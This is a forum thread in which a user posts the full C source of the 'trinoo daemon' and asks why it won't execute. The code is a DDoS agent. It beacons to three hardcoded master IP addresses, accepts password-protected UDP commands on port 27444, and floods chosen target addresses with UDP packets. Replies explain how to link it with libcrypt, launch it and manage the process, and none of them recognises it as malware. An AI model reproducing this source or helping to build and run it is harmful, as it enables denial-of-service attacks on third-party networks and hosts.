LinuxQuestions.org

LinuxQuestions.org (/questions/)
-   Linux - Software (http://www.linuxquestions.org/questions/linux-software-2/)
-   -   unable to run c program , error : cannot execute binary file (http://www.linuxquestions.org/questions/linux-software-2/unable-to-run-c-program-error-cannot-execute-binary-file-714510/)

soni_silver17 03-26-2009 02:19 AM

unable to run c program , error : cannot execute binary file
 
I have tried to execute the below ns.c program in RHEL 4 by using the command

#gcc -c ns.c -o ns.o

i am not getting any errors but while i am running object file by using the command

#./ns.o

i am getting the below error

bash : ./ns.o cannot execute binary file

........................ns.c program.....................................


/* trinoo daemon */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netdb.h>

/* ----------------- strfix.h ----------------- */
#ifdef __GNUC__
#define strcpy(dst, src) \
({ \
char *_out = (dst); \
if (sizeof(dst) <= sizeof(char *)) \
_out = strcpy(_out, (src)); \
else { \
*_out = 0; \
_out = strncat(_out, (src), sizeof(dst) - 1); \
} \
_out; \
})
#define strcat(dst, src) \
({ \
char *_out = (dst); \
if (sizeof(dst) <= sizeof(char *)) \
_out = strcat(_out, (src)); \
else { \
size_t _size = sizeof(dst) - strlen(_out) - 1; \
if (_size > 0) _out = strncat(_out, (src), _size); \
} \
_out; \
})
#endif
/* ----------------- END of strfix.h ----------------- */


/* #define PROCNAME "httpd" */
char *master[] = {
"129.237.122.40",
"207.228.116.19",
"209.74.175.130",
NULL
};

#define DEFSIZE 1000

int main(int argc, char *argv[])
{
int sock, fromlen, numread, i, sock2, bewm, timerz=120, hoe, foke;
struct sockaddr_in sa, from, to;
struct hostent *he;
char buf[1024];
char arg1[4], *arg2, pass[10], *temp, *unf;
void *buf2;
int start, end, stop=0,ablespoof=0;
#ifdef PROCNAME
for (bewm = argc-1; bewm >= 0; bewm--)
memset(argv[bewm], 0, strlen(argv[bewm]));
strcpy(argv[0], PROCNAME);
#endif
buf2 = (void*)malloc(DEFSIZE);

if ((sock=socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0) {
perror("socket");
exit(-1);
}

sa.sin_family = AF_INET;
sa.sin_addr.s_addr = INADDR_ANY;
sa.sin_port = htons(27444);
to.sin_family = AF_INET;

if (bind(sock, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
perror("bind");
exit(-1);
}
hello();
foke = fork();
if (foke > 0) {
hoe = setpgid(foke, foke);
exit(0);
}
if (foke == -1) exit(-1);
while (1) {
bzero(arg1, 1024);
bzero(buf, 1024);
fromlen=sizeof(from);
if ((numread = recvfrom(sock, buf, 1024, 0, (struct sockaddr *)&from, &fromlen)) < 0) {
perror("recvfrom");
continue;
}
if (strstr("l44", buf)==0) {
arg2 = malloc(sizeof(buf));
sscanf(buf, "%s %s %s", arg1, pass, arg2);
if (strcmp((char *)crypt(pass, "aI"), "aIf3YWfOhw.V.")==0) {
if(strcmp(arg1, "aaa")==0) {
to.sin_addr.s_addr = inet_addr(arg2);
start = time(NULL);
end = start + timerz;
stop = 0;
if((sock2 = getsock()) != -1)
while (!stop) {
to.sin_port = htons(rand()%65534);
sendto(sock2,buf2,sizeof(buf2), 0,(struct sockaddr*)(&to),sizeof(to));
if (time(NULL) > end) { close(sock2); stop = 1; }
}
stop=0;
}
if(strcmp(arg1, "bbb")==0)
if (atoi(arg2) > 1000)
timerz = 500;
else
timerz = atoi(arg2);
if(strcmp(arg1, "shi")==0) hello();
if(strcmp(arg1, "png")==0) sendudp((char *)inet_ntoa(from.sin_addr),"PONG",31335);
if(strcmp(arg1, "d1e")==0) exit(1);
if(strcmp(arg1, "rsz")==0) {
free(buf2);
buf2 = malloc(atoi(arg2));
bzero(buf2,sizeof(buf2));
}
if(strcmp(arg1, "xyz")==0) {
start = time(NULL);
end = start + timerz;
unf = malloc(sizeof(arg2));
if((sock2 = getsock()) != -1)
while (!stop) {
bzero(unf, sizeof(unf));
strcat(unf,arg2);
temp=strtok(unf,":");
while((temp = strtok(NULL,":"))!=NULL) {
printf("%s\n",temp);
to.sin_addr.s_addr = inet_addr(temp);
to.sin_port = htons(rand()%65534);
if (!stop)
sendto(sock2, buf2, sizeof(buf2), 0, (struct sockaddr*)(&to), sizeof(to));
if (time(NULL) > end) {
close(sock2);
stop = 1;
}
}
}
free(unf);
stop=0;
}
free(arg2);
}
}
}
}

int sendudp(char *host, char *data,int port)
{
int unf;
struct sockaddr_in out;

out.sin_family = AF_INET;
out.sin_addr.s_addr = inet_addr(host);
out.sin_port = htons(31335);

if ((unf = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) return -1;
sendto(unf,data,strlen(data),0,(struct sockaddr*)&out,sizeof(out));
return 1;
}

int hello()
{
int i=0;
while (master[i] != NULL) { sendudp(master[i], "*HELLO*", 31335); i++; }
}

int getsock()
{
int i;
if ((i = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) != -1)
return i;
else
return -1;
}

Please help me with solution....thanks

tronayne 03-26-2009 07:05 AM

A dot-o file is the output of the compiler that must be linked with system libraries to be executable (an executable program will not have a file extension; i.e., no such thing as dot-exe or similar in Linux).

Rather than compiling as you did (gcc -c ns.c -o ns.o) try
Code:

gcc  ns.c -o ns
You can, if you are compiling a program (no functions in separate files) use the make utility
Code:

make ns
However, your program as is returns
Code:

make ns
cc    ns.c  -o ns
/tmp/ccAc5siK.o: In function `main':
ns.c:(.text+0x1ec): undefined reference to `crypt'
collect2: ld returned 1 exit status
make: *** [ns] Error 1

which indicates that it must be linked with libcrypt and you should compile it
Code:

gcc ns.c -lcrypt -o ns
Hope this helps some.

soni_silver17 03-30-2009 06:58 AM

c error in Linux
 
Thanks for giving reply. It has worked. But after compiling how to run the program...

tronayne 03-30-2009 07:33 AM

At a command prompt (in a console window) simply enter the name and hit the carriage return key. Note that if you repeat this there will be another copy of the program running for each time you do this.

Your program is a daemon program; i.e., it will continue to run until the system is rebooted or you kill the running process with the kill utility. You can see if it's running with the ps utility
Code:

ps -f
which will display something like
Code:

yourlogin    10232 10215  0 08:29 pts/1    00:00:00 ns
The first number (in this example, 10232) is the process identification number or PID and you can kill that with
Code:

kill -9 10232

AlucardZero 03-30-2009 08:45 AM

Quote:

Originally Posted by tronayne (Post 3492458)
At a command prompt (in a console window) simply enter the name and hit the carriage return key.

Don't forget the ./.

soni_silver17: just type
Code:

./ns
once ns is compiled.


All times are GMT -5. The time now is 01:20 AM.